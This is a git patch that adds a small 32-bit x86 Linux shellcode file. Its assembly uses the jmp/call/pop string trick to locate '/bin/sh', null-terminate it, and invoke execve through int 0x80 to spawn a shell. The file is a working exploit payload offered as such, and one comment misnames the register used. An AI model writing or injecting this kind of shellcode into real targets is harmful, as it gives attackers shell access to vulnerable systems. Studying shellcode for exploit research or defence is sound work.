From 701bb59b9e9b1c7c5cf3f4ca32e340ca9c503493 Mon Sep 17 00:00:00 2001
From: toni <toni@devlap.local>
Date: Tue, 4 Nov 2014 17:42:21 +0100
Subject: - added very small execve shellcode

---
 shellcode/execve.asm | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)
 create mode 100644 shellcode/execve.asm

diff --git a/shellcode/execve.asm b/shellcode/execve.asm
new file mode 100644
index 0000000..92f6de6
--- /dev/null
+++ b/shellcode/execve.asm
@@ -0,0 +1,20 @@
+BITS 32
+
+
+; zero out registers
+xor		eax,eax
+xor		ebx,ebx
+xor		ecx,ecx
+cdq				; convert dword in eax to qword in edx
+; do the 'string trick'
+jmp short string
+
+code:
+pop		ebx		; pop the addr of the string intro esi (stack pointer register)
+mov byte	[ebx + 7], al	; null-terminate the string
+mov		al,0xb		; syscall number 0xb (11) is execve
+int		0x80		; let the kernel do the stuff
+
+string:
+call code
+db '/bin/sh'
-- 
cgit v1.2.3